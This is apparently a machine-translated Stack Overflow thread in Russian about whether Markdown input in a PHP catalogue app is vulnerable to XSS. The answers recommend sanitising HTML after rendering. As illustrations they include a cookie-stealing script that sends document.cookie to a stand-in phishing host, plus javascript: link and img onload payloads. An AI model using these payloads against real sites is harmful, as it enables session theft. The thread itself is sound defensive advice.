Я работаю над веб-приложением, которое позволяет пользователям вводить краткие описания элементов в каталоге. Я разрешаю Markdown в своих текстовых средах, чтобы пользователи могли создавать HTML-форматирование.
Моя функция очистки текста удаляет все теги из любого введенного текста, прежде чем вставлять его в базу данных:
public function sanitizeText($string, $allowedTags = "") { $string = strip_tags($string, $allowedTags); if(get_magic_quotes_gpc()) { return mysql_real_escape_string(stripslashes($string)); } else { return mysql_real_escape_string($string); } }
По сути, все, что я храню в базе данных, – Markdown – не допускается другой HTML, даже «базовый HTML» (например, здесь, в SO).
Будет ли возможность уценки представлять угрозы безопасности? Может ли уценка быть XSSed, даже если у нее нет меток?
Я думаю, что удаление любого тега HTML из ввода даст вам что-то довольно безопасное – за исключением того, что если кто-то найдет способ вставить некоторые действительно перепутанные данные в Markdown, создав еще более беспорядочный вывод ^^
Тем не менее, вот две вещи, которые приходят мне на ум:
Первый: strip_tags
– не чудо-функция: у него есть некоторые недостатки …
Например, он разделит все после «<», в такой ситуации, как эта:
$str = "10 appels is <than 12 apples"; var_dump(strip_tags($str));
Выход, который я получаю:
string '10 appels is ' (length=13)
Что не так приятно для ваших пользователей 🙁
Второй: один день или другой, вы можете разрешить некоторые HTML-теги / атрибуты; или, даже сегодня, вы можете быть уверены, что Markdown не генерирует HTML-теги / атрибуты.
Вам может быть интересно что-то вроде HTMLPurifier : он позволяет указать, какие теги и атрибуты должны храниться, и фильтрует строку, чтобы остались только те.
Он также генерирует корректный HTML-код, который всегда хорош 😉
Вот прекрасный пример того, почему вам нужно санировать HTML после, а не раньше:
Код маркировки:
> <script type="text/javascript" > language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l=' > + escape\(window.location\) + '&c=' + escape\(document.cookie\); > </script> >
Представлено как:
<blockquote> <p><script type="text/javascript" language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l=' + escape(window.location) + '&c=' + escape(document.cookie); </script></p> </blockquote>
Теперь вы беспокоитесь?
Санирование полученного HTML после рендеринга Markdown будет самым безопасным. Если вы этого не сделаете, я думаю, что люди смогут выполнить произвольный Javascript в Markdown следующим образом:
[Click me](javascript:alert\('Gotcha!'\);)
PHP Markdown преобразует это в:
<p><a href="javascript:alert('Gotcha!');">Click me</a></p>
Какая работа. … и даже не думайте о том, чтобы начать добавлять код, чтобы позаботиться об этих случаях. Правильная дезинфекция непростая, просто используйте хороший инструмент и примените его после того, как вы поместите свой Markdown в HTML.
Будет ли возможность уценки представлять угрозы безопасности? Может ли уценка быть XSSed, даже если у нее нет меток?
Почти невозможно сделать абсолютные утверждения в этом отношении – кто может сказать, что может быть обманут парсером уценки с достаточно искаженным вводом?
Однако риск, вероятно, очень низок, поскольку он является относительно простым синтаксисом. Самым очевидным углом атаки будет javascript: URL-адреса в ссылках или изображениях, возможно, не разрешенные парсером, но это то, что я проверил.
Нет. Способ использования Markdown небезопасен. Markdown можно использовать надежно, но вы должны использовать его правильно. Подробнее о том, как безопасно использовать Markdown, смотрите здесь . Подробную информацию о том, как его безопасно использовать, см. В ссылке, но короткая версия: важно использовать последнюю версию, установить safe_mode
и установить enable_attributes=False
.
Ссылка также объясняет, почему экранирование ввода и вызов Markdown (как вы это делаете) недостаточно для обеспечения безопасности. Краткий пример: « [clickme](javascript:alert%28%22xss%22%29)
».
BBcode обеспечивает большую безопасность, потому что вы генерируете теги.
<img src = "" onload = "javascript: alert (\ 'haha \');" />
Если <img> разрешено, это будет проходить через strip_tags;) Bam!
Я согласен с Pascal MARTIN в том, что HTML Sanitization – лучший подход. Если вы хотите сделать это полностью на JavaScript, я предлагаю взглянуть на библиотеку дезинфекции google-caja ( исходный код ).